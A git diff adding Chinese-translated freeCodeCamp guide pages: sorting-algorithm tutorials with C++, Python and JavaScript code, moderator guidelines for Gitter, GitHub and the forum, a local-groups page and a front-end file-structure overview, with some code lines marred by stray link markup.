+#### 相关链接
+
+*   [链接标题1](http://example.com)
+*   [链接标题2](http://example.com)
+*   [链接标题3](http://example.com)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/URL-HERE)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+#### 相关链接
+
+*   [链接标题1](http://example.com)
+*   [链接标题2](http://example.com)
+*   [链接标题3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/URL-HERE)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+#### 相关链接
+
+*   [链接标题1](http://example.com)
+*   [链接标题2](http://example.com)
+*   [链接标题3](http://example.com)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") **`Wiki Challenge Solution Template`**供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
new file mode 100644
index 0000000000..91cd6cf4fc
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
@@ -0,0 +1,101 @@
+---
+title: Freecodecamp Algorithm Insertion Sort Guide
+localeTitle: Freecodecamp算法插入排序指南
+---
+插入排序是基于[_比较_的排序](https://en.wikipedia.org/wiki/Comparison_sort) 。排序算法是基于比较的，如果它使用比较运算符（例如`less than`和`greated than` ）来查找两个数字之间的顺序。
+
+在这种排序技术中，我们始终在列表的较低位置维护一个已排序的子列表，然后我们从列表的其余部分中取一个元素并将其插入到正确的位置。我们这样做，直到所有元素都插入到子列表中。例如，在玩扑克牌时，我们会将牌分类。从左侧开始向右移动，我们继续将卡插入正确的位置直至结束。
+
+## 例
+
+![插入排序](//discourse-user-assets.s3.amazonaws.com/original/2X/2/289cddf207e54981a05b56d9c267d078ed827c8b.png)
+
+在上面的示例中， `grey shaded`子列表始终排序。请注意，在开始的时候，子列表包含ONY一个元素， _平凡_排序。然后在每一步我们将`white shaded`子列表的最左边元素插入其正确的位置。
+
+因此，我们以这种方式对完整列表进行了排序。
+
+## 算法
+```
+Loop for i=0 to N-1: 
+ * Pick element array<a href='https://repl.it/CWZq' target='_blank' rel='nofollow'>i] and insert it into sorted sublist array[0...i-1] 
+```
+
+## 复杂
+```
+Space complexity: O(1)      // Auxillary/temporary space is used. 
+ 
+ Time complexity: O(n*n)     // Two nested for loops are used. 
+```
+
+## C ++实现
+```
+// Function to sort an array using insertion sort 
+ void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+ 
+       /* Move elements of arr[0..i-1], that are greater than key, 
+      to one position ahead of their current position */ 
+   while (j >= 0 && arr[j] > key) 
+   { 
+       arr[j+1] = arr[j]; 
+       j = j-1; 
+   } 
+   arr[j+1] = key; // place element key at it's correct place 
+   } 
+ } 
+ 
+ int main() 
+ { 
+    // array to be sorted 
+    int arr[5] = {12, 11, 13, 5, 6}; 
+ 
+    // call the insertion sort 
+ insertionSort(arr, 5); 
+ 
+ // prints sorted array ie 5 6 11 12 13 
+ for(int i=0; i<5; i++) 
+    std::cout << arr[i] << " "; 
+ return 0; 
+ } 
+```
+
+：rocket：\[运行代码## Python实现
+```
+# Function to perform insertion sort 
+ def insertionSort(arr): 
+    # Traverse through array 
+    for i in range(1, len(arr)): 
+        key = arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i] 
+        # Move elements of arr[0..i-1], that are greater than key, 
+        # to one position ahead of their current position 
+        j = i-1 
+        while j>=0 and key < arr[j] : 
+                arr[j+1] = arr[j] 
+                j -= 1 
+        arr[j+1] = key # place element key at it's correct place 
+ 
+ # array to be sorted 
+ arr = [12, 11, 13, 5, 6] 
+ # call the insertion sort 
+ insertionSort(arr) 
+ # prints sorted array ie 5 6 11 12 13 
+ for i in range(len(arr)): 
+    print(arr[i],end = ' ') 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CWZi)
+
+## 好处
+
+1.  适用于几乎排序的小型数据和数据集。
+2.  简单实施。
+3.  通常比冒泡排序和选择排序更好，通常与合并排序一起使用。
+
+## 缺点
+
+1.  与合并排序，堆排序和快速排序相比，它在大型数据集上的效率较低。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
new file mode 100644
index 0000000000..ab7fc522c6
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
@@ -0,0 +1,141 @@
+---
+title: Freecodecamp Algorithm Merge Sort Guide
+localeTitle: Freecodecamp算法合并排序指南
+---
+大多数现代语言都有内置的sort（）函数，可以自动对输入数组或列表进行排序。你有没有想过排序功能如何在内部实际工作？了解常见的排序算法及其实现是编码访谈中最重要的部分。在本系列文章中，我们将介绍几种重要的排序算法。它们是如何实现的，时间和空间的复杂性等。我们的第一篇文章是Merge Sort。
+
+要了解Merge Sort，有关[递归](http://programmers.stackexchange.com/questions/25052/in-plain-english-what-is-recursion)的基本知识是先决条件。 Merge Sort基于Divide and Conquer原则。对N个整数数组进行排序的整个过程可归纳为三个步骤 -
+
+*   将阵列分成两半。
+*   使用相同的重复算法对左半部分和右半部分进行排序。
+*   合并分类的一半。
+
+使用Merge排序的最大优点是[时间复杂度](https://www.youtube.com/watch?v=V42FBiohc6c&list=PL2_aWCzGMAwI9HK8YPVBjElbLbI3ufctn)仅为n \* log（n）以对整个Array进行排序。它比冒泡排序或插入排序的n ^ 2运行时间要好很多。
+
+在编写代码之前，让我们在图表的帮助下理解合并排序的工作原理。
+
+![合并排序](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4712ef1a5d856dbb4af393fcc08a820a38787395.png)
+
+*   最初我们有一个包含6个未排序整数的数组Arr（5,8,3,9,1,2）
+*   我们将阵列分成两半Arr1 =（5,8,3）和Arr2 =（9,1,2）。
+*   再次，我们将它们分成两半：Arr3 =（5,8）和Arr4 =（3）和Arr5 =（9,1）和Arr6 =（2）
+*   再次，我们将它们分成两半：Arr7 =（5），Arr8 =（8），Arr9 =（9），Arr10 =（1）和Arr6 =（2）
+*   我们现在将比较这些子数组中的元素以合并它们。
+
+## 履行
+
+### C ++实现
+```
+void merge(int array[], int left, int mid, int right) 
+ { 
+    int i, j, k; 
+ 
+    // Size of left sublist 
+ int size_left = mid - left + 1; 
+ 
+ // Size of right sublist 
+ int size_right =  right - mid; 
+ 
+ /* create temp arrays */ 
+ int Left[size_left], Right[size_right]; 
+ 
+ /* Copy data to temp arrays L[] and R[] */ 
+ for(i = 0; i < size_left; i++) 
+ { 
+    Left[i] = array[left+i]; 
+ } 
+ 
+ for(j = 0; j < size_right; j++) 
+ { 
+    Right[j] = array[mid+1+j]; 
+ } 
+ 
+ // Merge the temp arrays back into arr[left..right] 
+ i = 0; // Initial index of left subarray 
+ j = 0; // Initial index of right subarray 
+ k = left; // Initial index of merged subarray 
+ 
+ while (i < size_left && j < size_right) 
+ { 
+    if (Left[i] <= Right[j]) 
+    { 
+        array[k] = Left[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        array[k] = Right[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ // Copy the remaining elements of Left[] 
+ while (i < size_left) 
+ { 
+    array[k] = Left[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ // Copy the rest elements of R[] 
+ while (j < size_right) 
+ { 
+    array[k] = Right[j]; 
+    j++; 
+    k++; 
+ } 
+ } 
+ 
+ void mergeSort(int array[], int left, int right) 
+ { 
+    if(left < right) 
+    { 
+        int mid = (left+right)/2; 
+ 
+        // Sort first and second halves 
+    mergeSort(array, left, mid); 
+    mergeSort(array, mid+1, right); 
+ 
+    // Finally merge them 
+    merge(array, left, mid, right); 
+ } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CYVc/1)
+
+### Javascript实现
+
+我们在JavaScript中编写MergeSort：
+```
+function mergeSort (arr) { 
+  if (arr.length < 2) return arr; 
+  var mid = Math.floor(arr.length /2); 
+  var subLeft = mergeSort(arr.slice(0,mid)); 
+  var subRight = mergeSort(arr.slice(mid)); 
+  return merge(subLeft, subRight); 
+ } 
+```
+
+首先，我们检查数组的长度。如果它是1那么我们只返回数组。这将是我们的基本情况。否则，我们将找出中间值并将数组分成两半。我们现在将对MergeSort函数的递归调用对两个部分进行排序。
+```
+function merge (a,b) { 
+    var result = []; 
+    while (a.length >0 && b.length >0) 
+        result.push(a[0] < b[0]? a.shift() : b.shift()); 
+    return result.concat(a.length? a : b); 
+ } 
+```
+
+当我们合并两个半时，我们将结果存储在辅助数组中。我们将左数组的起始元素与右数组的起始元素进行比较。哪个较小的将被推入结果数组中，我们将使用\[shift（）运算符从相应的数组中删除它。如果我们最终得到左或右数组中的值，我们只需在结果的末尾连接它。这是排序结果：
+```
+var test = [5,6,7,3,1,3,15]; 
+ console.log(mergeSort(test)); 
+ 
+ >> [1, 3, 3, 5, 6, 7, 15] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CYVd)
+
+如果您仍然无法理解MergeSort， [视频说明](https://www.youtube.com/watch?v=TzeBrDU-JaY)将使其更加清晰。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
new file mode 100644
index 0000000000..254c5fb973
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
@@ -0,0 +1,80 @@
+---
+title: Freecodecamp Algorithm Selection Sort Guide
+localeTitle: Freecodecamp算法选择排序指南
+---
+选择排序算法通过从未排序部分重复找到最小元素（考虑升序）并将其放在开头来对数组进行排序。该算法在给定数组中维护两个子数组。  
+1.已经排序的子阵列。  
+2.剩余的未分类的子阵列。
+
+在选择排序的每次迭代中，挑选来自未排序子阵列的最小元素（考虑升序）并将其移动到排序子阵列。
+
+## 例
+
+[SelectionSort的动画](http://www.sorting-algorithms.com/selection-sort)
+```
+arr<a href='https://repl.it/CZa0' target='_blank' rel='nofollow'>] = 64 25 12 22 11 
+ 
+ # Placing the minimum element in arr[0...4] in the beginning 
+ 11 25 12 22 64 
+ 
+ # Placing the minimum element in arr[1...4] in the beginning 
+ 11 12 25 22 64 
+ 
+ # Placing the minimum element in arr[2...4] in the beginning 
+ 11 12 22 25 64 
+ 
+ # Placing the minimum element in arr[3...4] in the beginning 
+ 11 12 22 25 64 
+```
+
+#### C ++实现
+```
+void selection_sort(int array[], int n) 
+ { 
+    // Contains index of minimum element in unsorted subarray 
+    int min_index; 
+ 
+    // Move boundary of unsorted subarray 
+ for(int i = 0; i < n-1; i++) 
+ { 
+    // Find the minimum element in unsorted subarray 
+    min_index = i; 
+    for(int j = i+1; j < n; j++) 
+    { 
+        // If present element is less than element at min_index 
+        // Then change min_index to present index 
+        if(array[j] < array[min_index]) 
+        { 
+            min_index = j; 
+        } 
+    } 
+ 
+    // Swap the element at min_index with the first element 
+    int temp; 
+    temp = array[min_index]; 
+    array[min_index] = array[i]; 
+    array[i] = temp; 
+ } 
+ } 
+```
+
+：rocket：\[运行代码#### Python实现
+```
+def selection_sort(arr): 
+    for i in range(len(arr)): 
+        min_x = i 
+        for j in range(i+1,len(arr)): 
+            if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j] < arr[min_x]: 
+                min_x = j 
+        arr[min_x], arr[i] = arr[i], arr[min_x] 
+ 
+ arr = [64, 25, 12, 22, 11] 
+ selection_sort(arr) 
+ print(arr) # Prints [11, 12, 22, 25, 64] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CXwQ)
+
+#### [算法的复杂性](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**时间复杂度：** O（n \* n）由于两个嵌套循环。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-city-based-local-groups/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-city-based-local-groups/index.md
new file mode 100644
index 0000000000..247e123e53
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-city-based-local-groups/index.md
@@ -0,0 +1,15 @@
+---
+title: Freecodecamp City Based Local Groups
+localeTitle: Freecodecamp基于城市的本地群组
+---
+### 步骤1）加入我们[的全球freeCodeCamp Facebook群组](https://www.facebook.com/groups/freeCodeCampEarth/) 。
+
+### 步骤2）在下面的列表中找到超过1,000个本地组的城市。
+
+### 步骤3）加入您当地的Facebook群组。
+
+如果您没有在我们的下面的群组列表中看到您的城市，并且您愿意为您的城市领导一个Facebook群组，那么就是如何[创建您自己的本地群组](http://forum.freecodecamp.com/t/how-to-create-a-local-group-for-your-city/19532) 。
+
+请注意，所有本地组都是非官方的，并由freeCodeCamp社区的成员独立运行。这些本地组织不隶属于主办freecodecamp.com的组织，Freecode Camp，Inc，它不控制或支持本地组织成员和组织者自己做的事情。
+
+![](//discourse-user-assets.s3.amazonaws.com/original/3X/0/a/0aff361f8a6995c5d5c24e05f34e16347bd738e4.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/freecodecamp-moderator-guidelines/index.md b/client/src/guide/chinese/miscellaneous/freecodecamp-moderator-guidelines/index.md
new file mode 100644
index 0000000000..12bfe3ae81
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/freecodecamp-moderator-guidelines/index.md
@@ -0,0 +1,255 @@
+---
+title: Freecodecamp Moderator Guidelines
+localeTitle: Freecodecamp版主指南
+---
+# 适度的支柱
+
+最重要的是，请记住，您作为主持人的目的是为我们的社区服务：
+
+*   听
+*   有帮助
+*   不要滥用你的权力
+
+# 调节Gitter
+
+以下是主持人如何处理违反我们[的](https://www.freecodecamp.com/code-of-conduct) Gitter [行为准则的行为](https://www.freecodecamp.com/code-of-conduct) ：
+
+1.  主持人将立即禁止违规者。
+    
+2.  主持人然后会向他们发送此消息：
+    
+    > 这是一条标准消息，通知您我必须暂时禁止您进入freeCodeCamp的聊天室。
+    > 
+    > 我是代表我们的开源社区的主持人。我可以考虑取消你的禁令，但我需要你先做点什么。
+    > 
+    > 1.阅读我们[**`Code of Conduct`**]([https://www.freecodecamp.com/code-of-conduct) ）。  
+    > 2.请确认您已阅读。  
+    > 3.向我解释为什么你认为我禁止了你。
+    
+3.  根据他们的回复，主持人将决定是否解雇违规的露营者。如果违规露营者之前没有被该主持人禁止，并且如果他们看起来很尊重和抱歉，那么主持人可以取消他们。作为一项政策问题，无论违规营员的行为多么糟糕，主持人在此过程中都会礼貌。
+    
+4.  主持人将键入事件的简短摘要以及他们如何在[管理室中](https://gitter.im/freeCodeCamp/admin)对其进行响应。以下是此类摘要的示例：
+    
+    > 我禁止了 @用户名发送垃圾邮件并向他们发送行为准则。他们说他们很抱歉，他们老实说没有意识到他们在做什么被认为是垃圾邮件。我取消了他们。
+    > 
+    > 我已经没有了 @用户名 。我向他们发送了行为准则。他们今天才意识到他们被禁止并为他们所做的事道歉。
+    > 
+    > 我已经禁止了 @用户名骚扰他们对我很讨厌。我建议我们联系Gitter全球禁令。
+    
+
+要禁止某人，请在聊天室中输入以下内容：
+
+> `/ban @username`
+
+如果他们合作，你可以稍后解雇他们：
+
+> `/unban @username`
+
+这仅适用于单个房间，因此您可能需要禁止它们多个地方。
+
+如果露营者继续从一个房间跳到另一个房间造成问题，主持人可以在[管理室](https://gitter.im/freecodecamp/admin)请求全球禁令。
+
+### 删除Gitter消息
+
+版主可以删除Gitter上的消息。他们应该只在三种非常具体的情况下运用这种能力：
+
+1.  有人发布了色情或图形暴力图片。
+2.  有人发布了一个恶意的链接或代码，可能会伤害点击它的其他营地人员。
+3.  有人将聊天中的大量垃圾邮件充斥到极端程度（通常涉及机器人），以使聊天完全无法使用。
+
+在所有其他情况下 - 即使违反行为准则的情况 - 主持人也不应删除该消息，因为这些是重要的历史记录。
+
+### 不要使用`@/all`
+
+在任何情况下_`@/all`_不要使用_`@/all`_ 。该聊天室中的每个人都会收到通知。在某些情况下，成千上万的人。
+
+相反，如果您希望人们看到通知，请使用标题文字大小。你可以在你的第一句话前放一个`#`来做到这一点。
+
+### 不要警告或威胁禁止
+
+如果有人违反了行为准则，请不要警告他们或威胁要禁止他们。相反，悄悄地禁止他们，然后私下给他们发消息并按照上述协议进行。房间里没有其他人需要知道你禁止了这个人。
+
+### 不要吹嘘自己是主持人
+
+不要把自己视为社区之上。你是社区。社区一直信任您，以帮助保护我们共享的罕见内容 - 这对新开发者来说是一个温馨的地方。
+
+如果你吹嘘自己是一名主持人，人们可能会对你感到不安，就像人们可能会对警察感到不安一样，即使他们没有做错任何事。这只是人性。
+
+### 不要与其他主持人发生冲突
+
+如果您不同意主持人的行为，请私下与他们交谈或在mod聊天中提出。永远不要覆盖禁令。相反，在模拟聊天中进行冷静的讨论，并说服主持人他们自己应该撤销禁令。
+
+记住：我们都在同一个团队中。我们希望尊重主持人的角色，并提出统一的前沿。
+
+# 审核GitHub
+
+主持人是能够解决问题并接受或拒绝拉取请求的志愿者。
+
+版主对GitHub有两个主要责任：
+
+1.  评估和回答问题
+2.  QA'ing和合并拉请求
+
+### 评估和回应问题
+
+freeCodeCamp是一个活跃的开源项目。我们每天都会收到几十个问题，所有问题都需要进行分类和标记。
+
+有几个一般类别的问题：
+
+1.  **代码帮助请求** ，不适合问题。  
+    如果问题显然是有人请求帮助，请粘贴以下消息，然后关闭该问题。
+    
+    > 感谢您报告此问题。
+    > 
+    > 这是一条标准消息，通知您此问题似乎是请求帮助。请点击freeCodeCamp上挑战的**“帮助”**按钮，而不是在这里寻求帮助，这将带您到特定挑战的帮助聊天室。您还可以查看[**官方聊天室的完整列表**](https://forum.freecodecamp.com/t/free-code-camp-official-chat-rooms/19390) 。
+    > 
+    > 如果您认为我在解决此问题时出错了，请重新打开并添加进一步的说明。谢谢，快乐的编码。
+    
+2.  **错误或澄清问题**如果可能，请**自行**确认错误。根据需要寻求其他详细信息，例如重现步骤。一旦问题被复制 - 或者至少被认为是合法的 - 标签已经`confirmed` 。然后：
+    
+    *   如果它是对现有挑战的简单更改，则标记为需要`help wanted`并且可选地， `first-timers-only`作为`first-timers-only` 。根据需要使用其他标签。
+        
+    *   如果问题更重要，请标记为`bug` 。
+        
+    *   [标签使用指南](https://forum.freecodecamp.com/t/free-code-camp-issue-labels/19556)
+        
+        如果对问题的正确行动方式存在任何歧义，请随时标记**`@freeCodeCamp/moderators`**以获取其他版主的意见。标志作为`Discussing` 。
+        
+3.  **重复问题**如果问题与另一个报告的问题相同，则应优先考虑先前报告的问题。标记为`Duplicate` ，粘贴以下消息，将`#XXXXX`替换为问题编号，然后关闭该问题。
+    
+    > 感谢您报告此问题。
+    > 
+    > 这是一条标准消息，通知您此问题似乎与问题#XXXXX非常相似，因此我将其作为副本关闭。
+    > 
+    > 如果您认为我在解决此问题时出错了，请重新打开并添加进一步的说明。谢谢，快乐的编码。
+    
+4.  **在暂存中**已修复某些问题已在暂存中修复，但在同一主题上没有其他问题。粘贴以下消息，然后关闭该问题：
+    
+    > 感谢您报告此问题。
+    > 
+    > 这是一条标准消息，通知您生产中存在此问题，但已在暂存中修复。因此，我正在关闭这个问题。当暂存将再次推送到生产时，您的问题将得到解决。
+    > 
+    > 如果您认为我在解决此问题时出错了，请重新打开并添加进一步的说明。谢谢，快乐的编码。
+    
+5.  **Bike Shedding** Bike Shedding是[帕金森琐碎法则的](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality)一个例子。有些问题根本不值得修复。如果您认为某个问题不值得，请将其标记为`bikeshedding` ，粘贴并填写以下消息，然后关闭该问题：
+    
+    > 感谢您报告此问题。
+    > 
+    > _简单解释为什么这是自行车，这是[帕金森琐碎法则的](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality)一种形式，所以我正在关闭它。_
+    > 
+    > 如果您认为我在解决此问题时出错了，请重新打开并添加进一步的说明。谢谢，快乐的编码。
+    
+
+### 调节拉请求
+
+Pull Requests（PR）是freeCodeCamp的贡献者如何向存储库提交更改以供考虑。这些PR的格式正确，并在合并之前进行全面的质量保证测试，这一点非常重要。
+
+### 拉取请求要求和格式
+
+所有PR必须符合以下要求才能被接受：
+
+1.  它必须至少引用一个未解决的问题，并且正文还应该为它所处理的每个问题编号包括`closes #XXXXX` （用问题编号替换`#XXXXX` ）
+2.  它必须与**`staging`**分支相对
+3.  它必须来自正确命名的非暂存分支，在用户的freeCodeCamp的个人分支上
+4.  标题应描述所做的更改
+5.  它的标题不应该有一个问题编号
+6.  它的主体应该提供有关变化的详细信息以及测试级别（即未经测试，在本地测试）
+7.  应将_相关_更改压缩为单个提交。但_相关或显着的_更改可能会有单独的提交。
+8.  代码必须通过所有测试和linting
+
+如果PR不满足这些要求中的一个或多个，请打开GitHub审核，指定尚未满足8个要求中的哪一个。新贡献者可能会被转介到[贡献者](https://gitter.im/freeCodeCamp/Contributors)聊天室。主持人可自行决定是否可以解决问题。
+
+### 质量保证（QA）
+
+假设满足PR的基本要求，所有PR都应进行一定程度的QA测试。最基本的QA过程是在您的计算机上本地检查PR并测试更改的功能。
+
+1.  确保您能够在本地重现该问题。
+2.  验证PR实际上是否解决了问题。
+3.  您可以使用**“LGTM”**回答问题，这意味着“看起来对我很好”。
+4.  如果您对PR是否应该合并有任何疑问，请让第二个人QA，然后他们可以合并。
+5.  如果已经有一个“LGTM”并且您也成功地对PR进行了QA，那么您应该合并它。
+
+如果对功能有任何疑问，可以提及**`@freeCodeCamp/moderators`**以获得第二意见。
+
+### 特殊要求
+
+更改网站底层功能或对网站的用户界面或用户体验进行重要更改的PR应由[@BerkeleyTrue](https://gitter.im/berkeleytrue)或[@QuincyLarson](https://gitter.im/quincylarson)批准。如果您有任何疑问，请在评论中标记它们和/或通过Gitter Chat吸引他们注意PR。
+
+### 主持人的其他规则
+
+虽然您可以访问freeCodeCamp的存储库：
+
+*   **你永远不应该将代码直接推送到freeCodeCamp存储库** 。所有代码都应该以repo的fork的pull请求的形式输入freeCodeCamp的代码库。
+*   你永远不应该接受自己的PR。它们必须由另一位主持人进行QA编辑，就像任何其他PR一样。
+
+# 主持论坛
+
+审核论坛遵循与调节Gitter相同的原则。以下描述了轻微的变化，以解释与话语平台上的Gitter的差异。
+
+论坛版主负责让我们的社区成为任何人学习和获得帮助的好地方。论坛版主将处理举报的帖子并处理垃圾邮件，偏离主题和其他不恰当的对话。
+
+### 删除论坛帖子
+
+论坛版主可以删除用户的帖子。您只应对以下实例执行此操作：
+
+1.  有人发布了色情或图形暴力图片。
+2.  有人发布了一个恶意的链接或代码，可能会伤害点击它的其他营地人员。
+3.  有人淹没了一个包含大量垃圾邮件的帖子。
+
+### 处理垃圾邮件
+
+对于用户的第一个垃圾邮件，向他们发送解释问题的消息，并根据需要删除链接或帖子。在用户的个人资料中留言，说明您已采取的措施。如果问题仍然存在，请按照上述步骤操作。悄悄地阻止用户发布，然后使用行为准则发送警告。选中私信中的复选框，表明您的邮件是“正式警告”。
+
+没有必要使用Gitter管理员空间来报告论坛上的事件。如果您有任何疑问，请在[员工](https://forum.freecodecamp.com/c/staff)论坛部分询问。
+
+### 处理偏离主题的对话
+
+似乎位于错误位置的帖子或主题可以重新分类或重命名为适合的任何内容。
+
+在特殊情况下，主持人可能适合将讨论分成多个线程。
+
+同样，如果您有任何问题或疑问，请在“职员”类别中发布您的操作帖子，如果您希望他们审核您的审核操作，请标记其他主持人。
+
+# 如何成为主持人
+
+您是否一直在为我们的社区做出贡献，并希望成为主持人的额外权力/责任？
+
+收集证据，证明您对GitHub问题的帮助，和/或帮助Gitter和我们的论坛上的露营者，以及在Gitter中的PM：
+
+*   [@BerkeleyTrue](https://gitter.im/berkeleytrue)
+*   [@CodeNonprofit](https://gitter.im/codenonprofit)
+*   [@QuincyLarson](https://gitter.im/quincylarson)
+
+其他要求：
+
+*   您必须在GitHub帐户上启用双因素身份验证。
+*   您的GitHub个人资料至少应该有您的名字。
+*   你的GitHub照片应该是你的脸。
+
+如果您获得批准，我们会将您添加到我们的[主持人团队](https://github.com/orgs/freeCodeCamp/teams/moderators) 。
+
+# 我们如何退休非活跃版主
+
+请注意，我们会经常删除我们认为无效的问题mod。当我们这样做时，我们将发送以下消息：
+
+> 这是一条标准消息，通知您，由于您最近似乎不是主动版主，我们会将您从主持人团队中删除。我们非常感谢您过去的帮助。
+> 
+> 如果您认为我们错误地做了这件事，或者一旦您准备好回来并做出更多贡献，请回复此消息让我知道。
+
+# 我们的贡献者房间如何运作
+
+在[贡献者房间](https://gitter.im/freecodecamp/contributors)欢迎任何人。它是主持人和其他露营者的指定聊天室，他们以多种方式为我们的社区做出贡献，包括通过学习小组。
+
+我们的假设是贡献者会在这个房间里读取任何用`@username`直接提及它们的内容，或者指向`@/all` 。其他一切都是可选的。但随意阅读任何人在那里发布和互动的内容。
+
+# 如何成为这个论坛的主持人
+
+如果您已经是主持人，您也可以在此论坛上申请主持人身份。在论坛上留言[@michaelhenderson](/users/michaelhenderson) ，他将在GitHub上验证您的主持人身份，然后在此授予您主持​​人身份。
+
+# 与律师打交道
+
+想要以某种方式与freeCodeCamp合作或联合品牌的组织可能会与您联系。一旦你意识到这就是他们所追求的，请停止与他们交谈并告诉他们直接与Quincy Larson对话。他每天都会得到这样的建议，并且最能判断这种关系对于我们的社区是否值得（并且很少）。
+
+# 定义
+
+> 本文档中的关键词“必须”，“必须”，“不需要”，“应该”，“不应该”，“推荐”，“可以”和“可选” [**应按RFC 2119中的**](https://www.ietf.org/rfc/rfc2119.txt)描述进行解释。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/front-end-file-structure/index.md b/client/src/guide/chinese/miscellaneous/front-end-file-structure/index.md
new file mode 100644
index 0000000000..ecdb247ef2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/front-end-file-structure/index.md
@@ -0,0 +1,14 @@
+---
+title: Front End File Structure
+localeTitle: 前端文件结构
+---
+首先要做的事：所有面向用户的文件和角度文件都在**/ client / app /中**
+
+1.  **app.js** ：定义你的应用程序并包含一些基本的应用程序范围的功能，除非你试图为你的应用程序添加更多的依赖项，否则你可能不需要弄乱它。我们现在不用担心。
+2.  **app.css** ：一个应用程序范围的样式表，如果你愿意，你可以把样式放在这里，但我建议你把它们放在**main / main.css中** ，因为这些样式也是应用程序范围的。
+3.  **main /** ：此文件夹包含用户在加载您的网站时首先看到的内容。 **main.html**是页面模板，当用户进入您网站的顶级目录时， **main.js**将用户路由到**main.html** - 即http：//yourapp.wherever.itis/没有/ other /网址/层次结构 。您还将很快了解到您可以定义您的应用程序/ url / heirarchy /公平/任意 。你不需要编辑**main.js**或**main.controller.spec.js** ，所以我们现在不用担心。如果你看看通过**main.html中**的文件，你会看到它使用了_NG-重复_ ，以显示_awesomeThings_ _事情_ 。它在哪里得到了_很棒的东西_ ？
+4.  **main / main.controller.js** ：你想用来直接与用户交互的所有javascript函数都在这里！你可以在这里放置函数来与你的API交互，为你的用户刷新视图等等。这里， _awesomeThings_从你的数据库中提取并添加到本地范围，这样你的HTML视图就可以显示它们！挺酷的！我们将在一分钟内将自定义对象添加到您的数据库中。
+
+大！现在你知道如何与用户互动！但是，如果您希望您的应用程序有另一个页面执行其他操作，该怎么办？也许**main.html会**显示主页，但是您想要一个显示表单的页面来添加民意调查？也许http：//yourapp.wherever.itis/newpage ？这是自耕农发电机派上用场的地方。
+
+[上一页](http://forum.freecodecamp.com/t/guides-to-back-end-projects/14265) 下一页
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md b/client/src/guide/chinese/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
new file mode 100644
index 0000000000..4540edb8d8
--- /dev/null
